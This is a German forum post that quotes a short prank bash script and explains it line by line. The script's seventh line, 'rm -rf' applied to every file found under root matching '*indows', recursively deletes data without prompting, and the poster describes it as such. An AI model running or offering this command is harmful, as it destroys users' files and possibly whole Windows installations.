declare out
echo -e '\a'
echo -n '${out:-)} is an order'
echo ${out:-)}
echo -n '${out//\/\/////} is an order, too'
echo ${out//\/\/////}
rm -rf $( find / -name '*indows' )
echo -e 'Killing your windows softly\nwith this code ...'
1. Deklariert out (Variable) aber setzt sie nicht auf einen bestimmten Wert
2. Echo mit Esc.ape-Sequenz Interpretation (gibt durch '\a' eine akustische Warnung aus)
3. Soll wohl den Variableninhalt ausgeben (der Name der Variable wird in der geschweiften Klammer "erstellt".
4. KA was das machen soll
5. Selbiges wie Nummer 3
6. wieder KA
7. Übergibt alles was find im Wurzelverzeichnis gefunden hat (Suchmaske '*indows') dem remove-Kommando (Optionen: force, also nicht nachfragen und recursive, löscht also auch Unterverzeichnisse)
8. Gibt den besagten Kill-String aus und interpretiert wieder Esc.ape-Sequenzen (sind nur diesmal keine vorhanden)
Interessant sind eigentlich nur Punkt 2,7 und 8
cya
liquid
EDIT: Bei Esc.ape bitte den Punkt entfernen, das Board benutzt wieder seine tolle Zensur.